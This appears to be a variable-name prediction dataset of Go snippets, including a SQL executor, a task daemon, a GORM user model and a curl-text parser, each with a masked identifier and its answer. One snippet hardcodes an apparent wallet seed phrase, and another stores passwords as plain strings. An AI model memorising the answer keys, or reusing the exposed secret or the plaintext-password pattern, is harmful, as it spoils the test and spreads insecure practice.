default: return errors.Errorf(""Error type of Executor: %T"", x) } return nil } // Next implements the Executor Next interface. func (e *SelectionExec) Next() (*Row, error) { if e.scanController && !e.controllerInit { err := e.initController() if err != nil { return nil, errors.Trace(err) } e.controllerInit = true } for { srcRow, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow == nil { return nil, nil } match, err := expression.EvalBool(e.Conditions, srcRow.Data, e.ctx) if err != nil { return nil, errors.Trace(err) } if match { return srcRow, nil } } } // Close implements the Executor Close interface. func (e *SelectionExec) Close() error { if e.scanController { e.controllerInit = false } return e.Src.Close() } // TableScanExec is a table scan executor without result fields. type TableScanExec struct { t table.Table asName *model.CIStr ctx context.Context ranges []types.IntColumnRange seekHandle int64 iter kv.Iterator cursor int schema *expression.Schema columns []*model.ColumnInfo isInfoSchema bool infoSchemaRows [][]types.Datum infoSchemaCursor int } // Schema implements the Executor Schema interface. func (e *TableScanExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor interface. func (e *TableScanExec) Next() (*Row, error) { if e.isInfoSchema { return e.nextForInfoSchema() } for { if e.cursor >= len(e.ranges) { return nil, nil } ran := e.ranges[e.cursor] if e.seekHandle < ran.LowVal { e.seekHandle = ran.LowVal } if e.seekHandle > ran.HighVal { e.cursor++ continue } handle, found, err := e.t.Seek(e.ctx, e.seekHandle) if err != nil { return nil, errors.Trace(err) } if !found { return nil, nil } if handle > ran.HighVal { // The handle is out of the current range, but may be in following ranges. // We seek to the range that may contains the handle, so we // don't need to seek key again. inRange := e.seekRange(handle) if !inRange { // The handle may be less than the current range low value, can not // return directly. continue } } row, err := e.getRow(handle) if err != nil { return nil, errors.Trace(err) } e.seekHandle = handle + 1 return row, nil } } func (e *TableScanExec) nextForInfoSchema() (*Row, error) { if e.infoSchemaRows == nil { columns := make([]*table.Column, e.schema.Len()) for i, v := range e.columns { columns[i] = table.ToColumn(v) } err := e.t.IterRecords(e.ctx, nil, columns, func(h int64, rec []types.Datum, cols []*table.Column) (bool, error) { e.infoSchemaRows = append(e.infoSchemaRows, rec) return true, nil }) if err != nil { return nil, errors.Trace(err) } } if e.infoSchemaCursor >= len(e.infoSchemaRows) { return nil, nil } row := &Row{Data: e.infoSchemaRows[e.infoSchemaCursor]} e.infoSchemaCursor++ return row, nil } // seekRange increments the range cursor to the range // with high value greater or equal to handle. func (e *TableScanExec) seekRange(handle int64) (inRange bool) { for { e.cursor++ if e.cursor >= len(e.ranges) { return false } ran := e.ranges[e.cursor] if handle < ran.LowVal { return false } if handle > ran.HighVal { continue } return true } } func (e *TableScanExec) getRow(handle int64) (*Row, error) { row := &Row{} var err error columns := make([]*table.Column, e.schema.Len()) for i, v := range e.columns { columns[i] = table.ToColumn(v) } row.Data, err = e.t.RowWithCols(e.ctx, handle, columns) if err != nil { return nil, errors.Trace(err) } // Put rowKey to the tail of record row. rke := &RowKeyEntry{ Tbl: e.t, Handle: handle, } if e.asName != nil && e.asName.L != """" { rke.TableName = e.asName.L } else { rke.TableName = e.t.Meta().Name.L } row.RowKeys = append(row.RowKeys, rke) return row, nil } // Close implements the Executor Close interface. func (e *TableScanExec) Close() error { e.iter = nil e.cursor = 0 return nil } // ExistsExec represents exists executor. type ExistsExec struct { schema *expression.Schema Src Executor evaluated bool } // Schema implements the Executor Schema interface. func (e *ExistsExec) Schema() *expression.Schema { return e.schema } // Close implements the Executor Close interface. func (e *ExistsExec) Close() error { e.evaluated = false return e.Src.Close() } // Next implements the Executor Next interface. // We always return one row with one column which has true or false value. func (e *ExistsExec) Next() (*Row, error) { if !e.evaluated { e.evaluated = true srcRow, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } return &Row{Data: []types.Datum{types.NewDatum(srcRow != nil)}}, nil } return nil, nil } // MaxOneRowExec checks if the number of rows that a query returns is at maximum one. // It's built from subquery expression. type MaxOneRowExec struct { schema *expression.Schema Src Executor evaluated bool } // Schema implements the Executor Schema interface. func (e *MaxOneRowExec) Schema() *expression.Schema { return e.schema } // Close implements the Executor Close interface. func (e *MaxOneRowExec) Close() error { e.evaluated = false return e.Src.Close() } // Next implements the Executor Next interface. func (e *MaxOneRowExec) Next() (*Row, error) { if !e.evaluated { e.evaluated = true srcRow, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow == nil { return &Row{Data: make([]types.Datum, e.schema.Len())}, nil } srcRow1, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow1 != nil { return nil, errors.New(""subquery returns more than 1 row"") } return srcRow, nil } return nil, nil } // UnionExec represents union executor. // UnionExec has multiple source Executors, it executes them sequentially, and do conversion to the same type // as source Executors may has different field type, we need to do conversion. type UnionExec struct { schema *expression.Schema Srcs []Executor ctx context.Context inited bool finished atomic.Value resultCh chan *execResult rows []*Row cursor int wg sync.WaitGroup closedCh chan struct{} } type execResult struct { rows []*Row err error } // Schema implements the Executor Schema interface. func (e *UnionExec) Schema() *expression.Schema { return e.schema } func (e *UnionExec) waitAllFinished() { e.wg.Wait() close(e.resultCh) close(e.closedCh) } func (e *UnionExec) fetchData(idx int) { defer e.wg.Done() for { result := &execResult{ rows: make([]*Row, 0, batchSize), err: nil, } for i := 0; i < batchSize; i++ { if e.finished.Load().(bool) { return } row, err := e.Srcs[idx].Next() if err != nil { e.finished.Store(true) result.err = err e.resultCh <- result return } if row == nil { if len(result.rows) > 0 { e.resultCh <- result } return } // TODO: Add cast function in plan building phase. for j := range row.Data { col := e.schema.Columns[j] val, err := row.Data[j].ConvertTo(e.ctx.GetSessionVars().StmtCtx, col.RetType) if err != nil { e.finished.Store(true) result.err = err e.resultCh <- result return } row.Data[j] = val } result.rows = append(result.rows, row) } e.resultCh <- result } } // Next implements the Executor Next interface. func (e *UnionExec) Next() (*Row, error) { if !e.inited { e.finished.Store(false) e.resultCh = make(chan *execResult, len(e.Srcs)) e.closedCh = make(chan struct{}) for i := range e.Srcs { e.wg.Add(1) go e.fetchData(i) } go e.waitAllFinished() e.inited = true } if e.cursor >= len(e.rows) { result, ok := <-e.resultCh if !ok { return nil, nil } if result.err != nil { return nil, errors.Trace(result.err) } if len(result.rows) == 0 { return nil, nil } e.rows = result.rows e.cursor = 0 } row := e.rows[e.cursor] e.cursor++ return row, nil } // Close implements the Executor Close interface. func (e *UnionExec) Close() error { e.finished.Store(true) if e.inited { <-e.closedCh } e.cursor = 0 e.inited = false e.rows = nil for _, sel := range e.Srcs { er := sel.Close() if er != nil { return errors.Trace(er) } } return nil } // DummyScanExec returns zero results, when some where condition never match, there won't be any // rows to return, so DummyScan is used to avoid real scan on KV. type DummyScanExec struct { schema *expression.Schema } // Schema implements the Executor Schema interface. func (e *DummyScanExec) Schema() *expression.Schema { return e.schema } // Close implements the Executor Close interface. func (e *DummyScanExec) Close() error { return nil } // Next implements the Executor Next interface. func (e *DummyScanExec) Next() (*Row, error) { return nil, nil } // CacheExec represents Cache executor. // it stores the return values of the executor of its child node. type CacheExec struct { schema *expression.Schema Src Executor storedRows []*Row cursor int srcFinished bool } // Schema implements the Executor Schema interface. func (e *CacheExec) Schema() *expression.Schema { return e.schema } // Close implements the Executor Close interface. func (e *CacheExec) Close() error { e.cursor = 0 return nil } // Next implements the Executor Next interface. func (e *CacheExec) Next() (*Row, error) { if e.srcFinished && e.cursor >= len(e.storedRows) { return nil, nil } if !e.srcFinished { row, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if row == nil { e.srcFinished = true err := e.Src.Close() if err != nil { return nil, errors.Trace(err) } } e.storedRows = append(e.storedRows, row) } row := e.storedRows[e.cursor] e.cursor++ return row, nil } ",restCondtion 532,"// Package cfg sets up a unix socket where it accepts requests overu // for starting, stopping utasks package cfg import ( ""context"" ""github.com/golark/utaskdaemon/db"" ""github.com/golark/utaskdaemon/httpmux"" ""github.com/gorilla/mux"" log ""github.com/sirupsen/logrus"" ""net"" ""net/http"" ""os"" ""time"" ) // UnixSocketSetup creates a unix socket & starts a listener at the unix socket // returns the listener and nil func UnixSocketSetup(unixSocketAddr string) (net.Listener, error) { // step 1 - remove previous socket err := os.RemoveAll(unixSocketAddr) if err != nil { // we cant remove old socket - log but continue execution log.WithFields(log.Fields{""unixSocketAddr"": unixSocketAddr, ""err"": err}).Warn(""this can cause problems when trying to communicate over this socket"") } // step 2 - listen unix port listener, err := net.Listen(""unix"", unixSocketAddr) // listen on unix socket if err != nil { // if we can't communicate, we shall die log.WithFields(log.Fields{""unixSocketAddr"": unixSocketAddr, ""err"": err}).Fatal(""cant listen on socket - exiting"") return nil, err } return listener, nil } // UtaskMain stars a listener at the given unix socket address serving cfg http requests // takes in a unix socket address func UtaskMain(unixSocketAddr string, [MASK] <-chan struct{}) error { // step 1 - unix socket setup listener, err := UnixSocketSetup(unixSocketAddr) if err != nil { log.WithFields(log.Fields{""err"": err}).Warn(""error during Unix Socket Setup"") return err } // step 2 - spin utask_timer cSingleShot := make(chan httpmux.SingleShotReq) cStopTimer := make(chan struct{}) cTaskdB := make(chan db.TaskTrace) go UTaskTimer(cSingleShot, cStopTimer, cTaskdB) // step 3 - setup http mux router := mux.NewRouter() router.HandleFunc(""/ping"", httpmux.Ping).Methods(""GET"") router.HandleFunc(""/start/{time}/{projname}/{taskname}/{tasknote}"", httpmux.HttpContext{time.Duration(1), cSingleShot}.StartTimer).Methods(""GET"") // step 4 - http baby srv := &http.Server{Handler: router} go func() { if err := srv.Serve(listener); err != nil { log.WithFields(log.Fields{""err"": err}).Error(""error occurred when serving http"") } }() log.Info(""listening for connections"") // step 5 - start mongodb interface go db.SaveTask(cTaskdB) go db.StartMux(cTaskdB) go db.GrpcServer() // step 6 - handle shutdown requests <- [MASK] // wait for signal to shutdown // if we are here, we need to cleanup gracefully - like a pretty little maid cStopTimer <- struct{}{} // first stop UtaskTimer ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) defer cancel() // shutdown the server gracefully if err := srv.Shutdown(ctx); err != nil { log.WithFields(log.Fields{""err"": err}).Error(""http server shutdown failed"") return err } // we made it - nice log.Info(""http server exited without issues"") return nil } ",cDone 533,"package model import ( ""time"" ""wangy1.top/my_cloud/internal/handler/user/request"" db2 ""wangy1.top/my_cloud/pkg/db"" ) type User struct { BaseModel Username string `gorm:""column:username;type:varchar(50);not null""` Password string `gorm:""column:password;type:varchar(20);not null""` LastLoginTime time.Time `gorm:""column:last_login_time""` } // TableName 表名 func (User) TableName() string { return ""t_user"" } func (u *User) Create() (err error) { u.CreatedAt = time.Now() u.UpdatedAt = time.Now() if err = db2.DB.Create(&u).Error; err != nil { return err } return } // Update 更新非空字段 /* func (u *User) Update() (err error) { if err = db2.DB.Model(&User{}).Updates(&u).Error; err != nil { return err } return } func (u *User) Delete() (err error) { if err = db2.DB.Model(&User{}).Delete(&u).Error; err != nil { return err } return } type UserQuery struct { } func (uq *UserQuery) GetById(id string) (*User, error) { u := &User{} if err := db2.DB.First(&u, id).Error; err != nil { return nil, err } return u, nil } // List 获取用户列表 func (uq *UserQuery) List(pageParams *request.UserListParams) (users []*User, err error) { users = make([]*User, 0) var offset, [MASK] = 0, 0 if pageParams.Page > 0 { offset = (pageParams.Page - 1) * pageParams.Size [MASK] = pageParams.Size } [MASK] = 10 if err := db2.DB.Offset(offset).Limit( [MASK] ).Order(""created_at"").Find(&users).Error; err != nil { return users, err } return users, nil } ",limit 534,"package parser import ( ""strings"" ) type curlParser struct { source string url string headers map[string]string args map[string]string } func NewCurlParser(source string) *curlParser { return &curlParser{ source: source, url: """", headers: map[string]string{}, args: map[string]string{}, } } func (p *curlParser) Parse() *parserResult { p.preParse() return &parserResult{ URL: p.URL(), Method: p.Method(), Cookie: p.Cookie(), Referer: p.Referer(), UserAgent: p.UserAgent(), Headers: p.Headers(), Args: p.Args(), } } func (p *curlParser) preParse() { [MASK] := strings.Split(p.source, ""\n"") for i := 0; i < len( [MASK] ); i++ { line := strings.TrimSpace(strings.Trim( [MASK] [i], ""\\"")) parts := strings.SplitN(line, "" "", 2) part1 := parts[0] part2 := """" if len(parts) >= 2 && parts[1] != """" { part2 = parts[1][1 : len(parts[1])-1] } if part1 == ""curl"" { p.url = part2 } else if part1 == ""-H"" { part2Split := strings.SplitN(part2, "" "", 2) part3 := """" if len(part2Split) >= 2 && part2Split[1] != """" { part3 = part2Split[1] } p.headers[strings.ToLower(part2Split[0][0:len(part2Split[0])-1])] = part3 } else if strings.Index(part1, ""-"") == 0 { p.args[strings.ToLower(part1)] = part2 } } } func (p *curlParser) URL() string { return p.url } func (p *curlParser) Method() string { if v, ok := p.args[""-x""]; ok { //delete(p.args, ""-x"") return strings.ToUpper(v) } return ""GET"" } func (p *curlParser) Cookie() string { if v, ok := p.headers[""cookie""]; ok { //delete(p.headers, ""cookie"") return v } return """" } func (p *curlParser) Referer() string { if v, ok := p.headers[""referer""]; ok { //delete(p.headers, ""referer"") return v } return """" } func (p *curlParser) UserAgent() string { if v, ok := p.headers[""user-agent""]; ok { //delete(p.headers, ""user-agent"") return v } return """" } func (p *curlParser) Headers() map[string]string { return p.headers } func (p *curlParser) Args() map[string]string { return p.args } ",slipt 535,"package main import ( ""fmt"" ""github.com/m1gwings/treedrawer/tree"" ""github.com/oze4/jslice"" ) func main() { n := 7 results := allPossibleFBT(n) for _, result := range results { printTreeNode(result) } } // TreeNode is essentially a doubly-linked list. type TreeNode struct { Val int Left *TreeNode Right *TreeNode } // allPossibleFBT prints all possible full binary trees up to `n` nodes. func allPossibleFBT(n int) []*TreeNode { head := []*TreeNode{} // If n is even it's not possible. if n%2 == 0 { return head } if n == 1 { return append(head, &TreeNode{}) } for i := 1; i < n; i += 2 { lefts := allPossibleFBT(i) rights := allPossibleFBT(n - 1 - i) for _, left := range lefts { for _, right := range rights { head = append(head, &TreeNode{Val: 0, Left: left, Right: right}) } } } return head } // printTreeNode prints out a *TreeNode (binary tree) to console. // Uses bfs to generate the `*tree.Tree` func printTreeNode(head *TreeNode) *tree.Tree { if head == nil { return nil } [MASK] := tree.NewTree(tree.NodeInt64(head.Val)) // Assign head ""children"" as the head itself. // This is due to the first pass where our TreeNode head // is the only thing in the queue. treeLeftChild := [MASK] treeRightChild := [MASK] QUEUE := []*TreeNode{head} for len(QUEUE) > 0 { size := len(QUEUE) for i := 0; i < size; i++ { node := jslice.Shift(&QUEUE) // Alternate between left and right children. // We expect left child first (and to alternate from there) in the queue. treeChild := treeLeftChild if i%2 == 1 { treeChild = treeRightChild } if node.Left != nil { jslice.Push(&QUEUE, node.Left) treeLeftChild = treeChild.AddChild(tree.NodeInt64(node.Left.Val)) } if node.Right != nil { jslice.Push(&QUEUE, node.Right) treeRightChild = treeChild.AddChild(tree.NodeInt64(node.Right.Val)) } } } fmt.Println( [MASK] ) return [MASK] } ",treeRoot 536,"package gptest import ( ""bytes"" ""context"" ""fmt"" ""html/template"" ""io"" ""log"" ""os"" ""path/filepath"" ""github.com/gin-gonic/gin"" ""github.com/opensibyl/sibyl2"" ""github.com/opensibyl/sibyl2/pkg/server"" ""github.com/opensibyl/sibyl2/pkg/server/object"" ""github.com/pkg/browser"" ) func Run(config SharedConfig, ctx context.Context) error { repoInfo, err := GetRepoInfoFromDir(config.SrcDir) config.RepoInfo = repoInfo if _, err := os.Stat(config.OutputDir); os.IsNotExist(err) { err := os.MkdirAll(config.OutputDir, os.ModePerm) PanicIfErr(err) } log.Println(""using local sibyl, starting ..."") go func() { config := object.DefaultExecuteConfig() // for performance // disable stdout gin.SetMode(gin.ReleaseMode) gin.DefaultWriter = io.Discard // config.BindingConfigPart.DbType = object.DriverTypeInMemory config.EnableLog = false config.Port = 9875 err := server.Execute(config, ctx) if err != nil { panic(err) } }() apiClient, err := config.NewSibylClient() PanicIfErr(err) // 1. index curIndexer := &BaseIndexer{ config: &config, apiClient: apiClient, caseSet: make(map[string]interface{}), vertexMapping: make(map[string]*map[string]interface{}), } err = curIndexer.UploadSrc(ctx) PanicIfErr(err) log.Println(""indexer ready"") // 2. extract // line level diff [MASK] , cancel := context.WithCancel(ctx) defer cancel() curExtractor := &GitExtractor{ config: &config, apiClient: apiClient, } PanicIfErr(err) diffMap, err := curExtractor.ExtractDiffMethods( [MASK] ) PanicIfErr(err) log.Printf(""diff calc ready: %v\n"", len(diffMap)) // 3. prepare data client := GetClient(ClientGpt35) client.SetToken(config.Token) err = client.Prepare(config.PromptFile) PanicIfErr(err) // 4. collect cache := make(map[*sibyl2.FunctionWithPath]string) for eachFile, eachFuncs := range diffMap { for _, eachFunc := range eachFuncs { log.Printf(""gen case for %v in %v\n"", eachFunc.GetName(), eachFile) // collect itself funcDefs := curIndexer.GetVertexesWithSignature(eachFunc.GetSignature()) if len(funcDefs) == 0 { continue } vertex, err := curIndexer.GetSibylCache().CallGraph.Graph.Vertex(funcDefs[0]) PanicIfErr(err) askStr := fmt.Sprintf(` Generate 1 case for this method: %s `, vertex.Unit.Content) // collect relative info referencedCalls := curIndexer.GetSibylCache().FindReverseCalls(vertex) if len(referencedCalls) != 0 { askStr += fmt.Sprintf(` It will called by: %s `, referencedCalls[0].Unit.Content) } // params and returns for _, each := range vertex.Parameters { clazzWithPaths, _, err := apiClient.RegexQueryApi.ApiV1RegexClazzGet(ctx). Repo(config.RepoInfo.RepoId). Rev(config.RepoInfo.RevHash). Field(""name""). Regex(fmt.Sprintf(""^%s$"", each.Type)).Execute() if err != nil { // give up log.Printf(""failed to get class: %v\n"", each.Type) continue } // add related types to gpt for _, eachClazz := range clazzWithPaths { desc, err := eachClazz.MarshalJSON() if err != nil { // give up log.Printf(""failed to marshal: %v\n"", eachClazz.Name) continue } askStr += fmt.Sprintf(` related params and returns types: %s `, string(desc)) } } askStr += ` return me a code snippet only, without markdown wrapper, without any note. ` log.Println(askStr) resp, err := client.Ask(askStr) PanicIfErr(err) // generate markdownTemplate cache[vertex] = resp } } // parse cache and generate html for each file fileCache := make(map[string][]*sibyl2.FunctionWithPath) for funcWithPath, htmlTemplate := range cache { filePath := funcWithPath.Path if _, ok := fileCache[filePath]; !ok { fileCache[filePath] = []*sibyl2.FunctionWithPath{funcWithPath} } else { fileCache[filePath] = append(fileCache[filePath], funcWithPath) } // write to file p := filepath.Join(config.OutputDir, funcWithPath.Path) dirPath := filepath.Dir(p) if _, err := os.Stat(dirPath); os.IsNotExist(err) { err := os.MkdirAll(dirPath, os.ModePerm) PanicIfErr(err) } err = os.WriteFile(fmt.Sprintf(""%s/%s_%s.html"", dirPath, filepath.Base(funcWithPath.Path), funcWithPath.Name), []byte(fmt.Sprintf(subPageTemplate, funcWithPath.Path, htmlTemplate)), 0644) PanicIfErr(err) } // generate index.html tmpl, err := template.New(""index"").Parse(indexTemplate) PanicIfErr(err) var buf bytes.Buffer err = tmpl.Execute(&buf, fileCache) PanicIfErr(err) indexFile := fmt.Sprintf(""%s/index.html"", config.OutputDir) err = os.WriteFile(indexFile, buf.Bytes(), 0644) PanicIfErr(err) // it's ok _ = browser.OpenFile(indexFile) return nil } ",calcContext 537,"package main import ( ""fmt"" ""log"" ""github.com/Fef0/go-5sim/fivesim"" ) /* WARNING THIS FILE SHOULD NOT BE EXECUTED AS IS*/ func main() { [MASK] := ""yourKey"" client := fivesim.NewClient( [MASK] ) // Use this if you like the project and want to support my work client.Referral = ""3a23a483"" /* WARNING THIS FILE SHOULD NOT BE EXECUTED AS IS*/ // Finish an order order, err := client.FinishOrder(0000000) if err != nil { log.Fatal(err) } fmt.Println(""Your order status:"", order.Status) /* WARNING THIS FILE SHOULD NOT BE EXECUTED AS IS*/ // Cancel an order order, err = client.CancelOrder(0000000) if err != nil { log.Fatal(err) } fmt.Println(""Your order status:"", order.Status) /* WARNING THIS FILE SHOULD NOT BE EXECUTED AS IS*/ // Ban an order order, err = client.BanOrder(0000000) if err != nil { log.Fatal(err) } fmt.Println(""Your order status:"", order.Status) /* OUTPUT Your order status: FINISHED Your order status: CANCELED Your order status: BANNED */ } ",key 538,"package utils import ( ""os"" ""strings"" ) // Exists checks if file exists func Exists(file string) bool { if _, err := os.Stat(file); err == nil { return true } return false } // IsDir checks if path is a directory func IsDirectory(file string) bool { if stat, err := os.Stat(file); err == nil && stat.IsDir() { return true } return false } // Insert Beetween Matches func InsertBeetweenMatches(original string, startSeparator string, endSeparator string, textToInsert string) (output string, err error) { var result strings.Builder [MASK] := false for i := 0; i < len(original); { if [MASK] { if strings.HasPrefix(original[i:], endSeparator) { [MASK] = false result.WriteString(endSeparator) i += len(endSeparator) continue } } else { if strings.HasPrefix(original[i:], startSeparator) { [MASK] = true result.WriteString(startSeparator) result.WriteString(textToInsert) i += len(startSeparator) continue } result.WriteByte(original[i]) } i++ } output = result.String() return output, nil } // Return substring of text func Substring(text string, from int, until int) string { if until == -1 { return text[from:] } return text[from:until] } ",isInReplaceMode 539,"package app import ( ""encoding/json"" ""os"" ""testing"" ""github.com/stretchr/testify/require"" abci ""github.com/tendermint/tendermint/abci/types"" ""github.com/tendermint/tendermint/libs/log"" dbm ""github.com/tendermint/tm-db"" ) func TestSimAppExportAndBlockedAddrs(t *testing.T) { [MASK] := MakeTestEncodingConfig() db := dbm.NewMemDB() app := NewBudgetApp(log.NewTMLogger(log.NewSyncWriter(os.Stdout)), db, nil, true, map[int64]bool{}, DefaultNodeHome, 0, [MASK] , EmptyAppOptions{}) genesisState := NewDefaultGenesisState( [MASK] .Marshaler) stateBytes, err := json.MarshalIndent(genesisState, """", "" "") require.NoError(t, err) // Initialize the chain app.InitChain( abci.RequestInitChain{ Validators: []abci.ValidatorUpdate{}, AppStateBytes: stateBytes, }, ) app.Commit() res, err := app.ExportAppStateAndValidators(false, []string{}) require.NoError(t, err, ""ExportAppStateAndValidators should not have an error"") _, err = res.AppState.MarshalJSON() require.NoError(t, err) } ",encCfg 540,"package main import ( ""da-server/avail"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""os"" ""time"" ) type Orders struct { SellOrders []int `json:""sell_orders""` BuyOrders []int `json:""buy_orders""` Pair string `json:""pair""` } func waitForData() { for { fmt.Println(""Waiting for Data to be submitted"") // Wait for 10 seconds time.Sleep(2 * time.Second) } } func main() { file, err := os.Open(""order.json"") if err != nil { log.Fatalf(""failed to open file: %s"", err) } defer file.Close() // Read the file contents [MASK] , err := ioutil.ReadAll(file) if err != nil { log.Fatalf(""failed to read file: %s"", err) } // Unmarshal the JSON into the struct var orders Orders err = json.Unmarshal( [MASK] , &orders) if err != nil { log.Fatalf(""failed to unmarshal JSON: %s"", err) } // Marshal the struct back to a JSON string jsonString, err := json.Marshal(orders) if err != nil { log.Fatalf(""failed to marshal JSON: %s"", err) } go waitForData() http.HandleFunc(""/submit_data"", func(w http.ResponseWriter, r *http.Request) { avail.DataSubmit(10, ""wss://turing-rpc.avail.so/ws"", ""bulk impact process private orange motion roof force clean recall filter secret"", 0, string(jsonString)) println(""Data submitted to Avail"") }) fmt.Printf(""Starting server at port 8080\n"") if err := http.ListenAndServe("":8080"", nil); err != nil { log.Fatal(err) } } ",byteValue 541,"// https://github.com/elazarl/go-bindata-assetfs // Copyright (c) 2014, // All rights reserved. package main import ( ""bufio"" ""flag"" ""fmt"" ""io/ioutil"" ""os"" ""os/exec"" ""strings"" _ ""github.com/elazarl/go-bindata-assetfs"" _ ""github.com/jteeuwen/go-bindata"" ) func isDebug(args []string) bool { flagset := flag.NewFlagSet("""", flag.ContinueOnError) debug := flagset.Bool(""debug"", false, """") [MASK] := make([]string, 0) for _, arg := range args { if strings.HasPrefix(arg, ""-debug"") { [MASK] = append( [MASK] , arg) } } flagset.Parse( [MASK] ) if debug == nil { return false } return *debug } func getBinDataFile() (*os.File, *os.File, []string, error) { bindataArgs := make([]string, 0) outputLoc := ""bindata.go"" for i := 1; i < len(os.Args); i++ { if os.Args[i] == ""-o"" { outputLoc = os.Args[i+1] i++ } else { bindataArgs = append(bindataArgs, os.Args[i]) } } tempFile, err := ioutil.TempFile(os.TempDir(), """") if err != nil { return &os.File{}, &os.File{}, nil, err } outputFile, err := os.Create(outputLoc) if err != nil { return &os.File{}, &os.File{}, nil, err } bindataArgs = append([]string{""-o"", tempFile.Name()}, bindataArgs...) return outputFile, tempFile, bindataArgs, nil } func genBindata() { path, err := exec.LookPath(""go-bindata"") if err != nil { fmt.Println(""cannot find go-bindata executable in path"") fmt.Println(""maybe you need: go get https://github.com/jteeuwen/go-bindata/..."") os.Exit(1) } out, in, args, err := getBinDataFile() if err != nil { fmt.Fprintln(os.Stderr, ""error: cannot create temporary file"", err) os.Exit(1) } cmd := exec.Command(path, args...) cmd.Stdin = os.Stdin cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { fmt.Fprintln(os.Stderr, ""error: go-bindata: "", err) os.Exit(1) } r := bufio.NewReader(in) for line, isPrefix, err := r.ReadLine(); err == nil; line, isPrefix, err = r.ReadLine() { if !isPrefix { line = append(line, '\n') } if _, err := out.Write(line); err != nil { fmt.Fprintln(os.Stderr, ""cannot write to "", out.Name(), err) return } } in.Close() out.Close() if err := os.Remove(in.Name()); err != nil { fmt.Fprintln(os.Stderr, ""cannot remove"", in.Name(), err) } } func main() { genBindata() outputFile, err := os.Create(""main.go"") if err != nil { fmt.Fprintln(os.Stderr, ""error: cannot create file"", err) os.Exit(1) } outputFile.WriteString(`package main import ( ""flag"" ""log"" ""net/http"" ""path/filepath"" ""github.com/elazarl/go-bindata-assetfs"" ) func main() { addr := flag.String(""a"", "":5000"", ""address to serve(host:port)"") prefix := flag.String(""p"", ""/"", ""prefix path under"") root := flag.String(""r"", ""."", ""root path to serve"") flag.Parse() var err error *root, err = filepath.Abs(*root) if err != nil { log.Fatalln(err) } log.Printf(""serving %s as %s on %s"", *root, *prefix, *addr) http.Handle(*prefix, http.StripPrefix(*prefix, http.FileServer(&assetfs.AssetFS{Asset: Asset, AssetDir: AssetDir, AssetInfo: AssetInfo, Prefix: *prefix}))) logger := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Printf(""%s %s %s"", r.RemoteAddr, r.Method, r.URL) http.DefaultServeMux.ServeHTTP(w, r) }) err = http.ListenAndServe(*addr, logger) if err != nil { log.Fatalln(err) } } `) outputFile.Close() } ",debugArgs 542,"/*************************************************************** * * Copyright (c) 2017, <> * * This program is free software; you can redistribute it * and/or modify it under the terms of the Apache licence * **************************************************************/ /** * * * @file logrus.go * @author <> * @date Mon May 8 15:39:03 2017 * **/ package log import ( ""github.com/Sirupsen/logrus"" ""os"" ) //=================================================================== // Public APIs //=================================================================== func Init( [MASK] string) (err error) { logrus.SetFormatter(&logrus.JSONFormatter{}) lvl, err := logrus.ParseLevel( [MASK] ) if err != nil { lvl = logrus.InfoLevel } logrus.SetLevel(lvl) logrus.SetOutput(os.Stdout) return nil } func Debugf(format string, v ...interface{}) { logrus.Debugf(format, v...) } func Infof(format string, v ...interface{}) { logrus.Infof(format, v...) } func Warnf(format string, v ...interface{}) { logrus.Warnf(format, v...) } func Errorf(format string, v ...interface{}) { logrus.Errorf(format, v...) } func Panicf(format string, v ...interface{}) { logrus.Panicf(format, v...) } func Fatalf(format string, v ...interface{}) { logrus.Fatalf(format, v...) } //=================================================================== // Private //=================================================================== ",loglevel 543,"package app import ( ""io"" bam ""github.com/cosmos/cosmos-sdk/baseapp"" ""github.com/cosmos/cosmos-sdk/codec"" sdk ""github.com/cosmos/cosmos-sdk/types"" ""github.com/cosmos/cosmos-sdk/types/module"" ""github.com/cosmos/cosmos-sdk/version"" abci ""github.com/tendermint/tendermint/abci/types"" ""github.com/tendermint/tendermint/libs/log"" tmos ""github.com/tendermint/tendermint/libs/os"" dbm ""github.com/tendermint/tm-db"" ""github.com/KuChainNetwork/kuchain/chain/ante"" ""github.com/KuChainNetwork/kuchain/chain/client/txutil"" ""github.com/KuChainNetwork/kuchain/chain/constants"" ""github.com/KuChainNetwork/kuchain/chain/fee"" chainTypes ""github.com/KuChainNetwork/kuchain/chain/types"" ""github.com/KuChainNetwork/kuchain/test/simapp"" ""github.com/KuChainNetwork/kuchain/x/account"" ""github.com/KuChainNetwork/kuchain/x/asset"" distr ""github.com/KuChainNetwork/kuchain/x/distribution"" ""github.com/KuChainNetwork/kuchain/x/evidence"" ""github.com/KuChainNetwork/kuchain/x/genutil"" ""github.com/KuChainNetwork/kuchain/x/gov"" ""github.com/KuChainNetwork/kuchain/x/mint"" ""github.com/KuChainNetwork/kuchain/x/params"" paramsclient ""github.com/KuChainNetwork/kuchain/x/params/client"" paramproposal ""github.com/KuChainNetwork/kuchain/x/params/types/proposal"" ""github.com/KuChainNetwork/kuchain/x/plugin"" ""github.com/KuChainNetwork/kuchain/x/slashing"" ""github.com/KuChainNetwork/kuchain/x/staking"" ""github.com/KuChainNetwork/kuchain/x/supply"" ) var ( // ModuleBasics The module BasicManager is in charge of setting up basic, // non-dependant module elements, such as codec registration // and genesis verification. ModuleBasics = module.NewBasicManager( genutil.AppModuleBasic{}, account.NewAppModuleBasic(), asset.NewAppModuleBasic(), params.AppModuleBasic{}, distr.NewAppModuleBasic(), supply.NewAppModuleBasic(), staking.NewAppModuleBasic(), slashing.NewAppModuleBasic(), evidence.NewAppModuleBasic(), gov.NewAppModuleBasic(paramsclient.ProposalHandler, distr.ProposalHandler), mint.NewAppModuleBasic(), params.NewAppModuleBasic(), plugin.NewAppModuleBasic(), ) // maccPerms module account permissions maccPerms = map[string][]string{ fee.CollectorName: nil, distr.ModuleName: nil, supply.BlackHole: nil, staking.BondedPoolName: {supply.Burner, supply.Staking}, staking.NotBondedPoolName: {supply.Burner, supply.Staking}, gov.ModuleName: {supply.Burner}, mint.ModuleName: {supply.Minter}, } allowedReceivingModAcc = map[string]bool{ distr.ModuleName: true, } ) // Verify app interface at compile time var _ simapp.App = (*KuchainApp)(nil) // KuchainApp 